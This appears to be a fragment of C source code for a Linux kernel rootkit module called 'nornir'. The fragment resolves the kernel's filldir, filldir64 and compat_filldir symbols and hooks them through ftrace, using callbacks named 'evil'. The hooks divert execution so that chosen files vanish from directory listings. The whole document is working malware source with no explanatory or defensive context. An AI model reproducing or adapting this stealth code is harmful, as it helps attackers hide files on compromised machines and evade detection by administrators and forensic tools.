static
int
nornir_exec_orig_compat_filldir(
struct
dir_context*ctx,
const
char
*name,
int
namlen, loff_t offset, u64 ino,
unsigned
int
d_type)
{
if
(unlikely(nornir_get_hidden_file_info(name, namlen))) {
return
0;
}
else
{
return
1;
}
}
static
void
nornir_evil_filldir_ftrace(unsigned
long
ip, unsigned
long
parent_ip,
struct
ftrace_ops *ops,
struct
ftrace_regs *fregs)
{
#ifdef CONFIG_X86_64
if
(unlikely(!nornir_exec_orig_filldir(
(
void
*) fregs->regs.di, (
void
*) fregs->regs.si, (
int
) fregs->regs.dx,
(loff_t) fregs->regs.cx, (u64) fregs->regs.r8, (unsigned) fregs->regs.r9
))) {
fregs->regs.ip = (
size_t
) nornir_filldir_placeholder;
}
#else
#error "We do not support ftrace hook under current architecture yet"
#endif
}
static
void
nornir_evil_filldir64_ftrace(unsigned
long
ip, unsigned
long
parent_ip,
struct
ftrace_ops *ops,
struct
ftrace_regs *fregs)
{
#ifdef CONFIG_X86_64
if
(unlikely(!nornir_exec_orig_filldir64(
(
void
*) fregs->regs.di, (
void
*) fregs->regs.si, (
int
) fregs->regs.dx,
(loff_t) fregs->regs.cx, (u64) fregs->regs.r8, (unsigned) fregs->regs.r9
))) {
fregs->regs.ip = (
size_t
) nornir_filldir_placeholder;
}
#else
#error "We do not support ftrace hook under current architecture yet"
#endif
}
static
void
nornir_evil_compat_filldir_ftrace(unsigned
long
ip, unsigned
long
parent_ip,
struct
ftrace_ops *ops,
struct
ftrace_regs *fregs)
{
#ifdef CONFIG_X86_64
if
(unlikely(!nornir_exec_orig_compat_filldir(
(
void
*) fregs->regs.di, (
void
*) fregs->regs.si, (
int
) fregs->regs.dx,
(loff_t) fregs->regs.cx, (u64) fregs->regs.r8, (unsigned) fregs->regs.r9
))) {
fregs->regs.ip = (
size_t
) nornir_filldir_placeholder;
}
#else
#error "We do not support ftrace hook under current architecture yet"
#endif
}
static
int
nornir_install_ftrace_filldir_hooks(
void
)
{
int
err;
err = nornir_install_ftrace_hook(orig_filldir, nornir_evil_filldir_ftrace);
if
(err) {
logger_error(
"Unable to hook symbol \"filldir\".\n"
);
goto
err_filldir;
}
err = nornir_install_ftrace_hook(
orig_filldir64,
nornir_evil_filldir64_ftrace
);
if
(err) {
logger_error(
"Unable to hook symbol \"filldir64\".\n"
);
goto
err_filldir64;
}
err = nornir_install_ftrace_hook(
orig_compat_filldir,
nornir_evil_compat_filldir_ftrace
);
if
(err) {
logger_error(
"Unable to hook symbol \"compat_filldir\".\n"
);
goto
err_compat_filldir;
}
return
0;
err_compat_filldir:
nornir_remove_ftrace_hook(orig_filldir64);
err_filldir64:
nornir_remove_ftrace_hook(orig_filldir);
err_filldir:
return
err;
}
static
int
nornir_init_filldir_hooks(
void
)
{
if
(nornir_ksym_addr_lookup(
"filldir"
, (
size_t
*)&orig_filldir, NULL, NULL)){
logger_error(
"Unable to look up symbol \"filldir\".\n"
);
return
-ECANCELED;
}
if
(nornir_ksym_addr_lookup(
"filldir64"
,
(
size_t
*) &orig_filldir64,
NULL,
NULL
)) {
logger_error(
"Unable to look up symbol \"filldir64\".\n"
);
return
-ECANCELED;
}
if
(nornir_ksym_addr_lookup(
"compat_filldir"
,
(
size_t
*) &orig_compat_filldir,
NULL,
NULL
)) {
logger_error(
"Unable to look up symbol \"compat_filldir\".\n"
);
return
-ECANCELED;
}
#ifdef CONFIG_NORNIR_HIDE_FILE_HIJACK_GETDENTS_INLINE
return
nornir_install_inline_asm_filldir_hooks();
#elif defined(CONFIG_NORNIR_HIDE_FILE_HIJACK_GETDENTS_FTRACE)
#ifndef CONFIG_DYNAMIC_FTRACE
#error "Current kernel do not enable CONFIG_DYNAMIC_FTRACE"
#endif
return
nornir_install_ftrace_filldir_hooks();
#else
#error "No techniques were chosen for hooking filldir functions"
#endif
}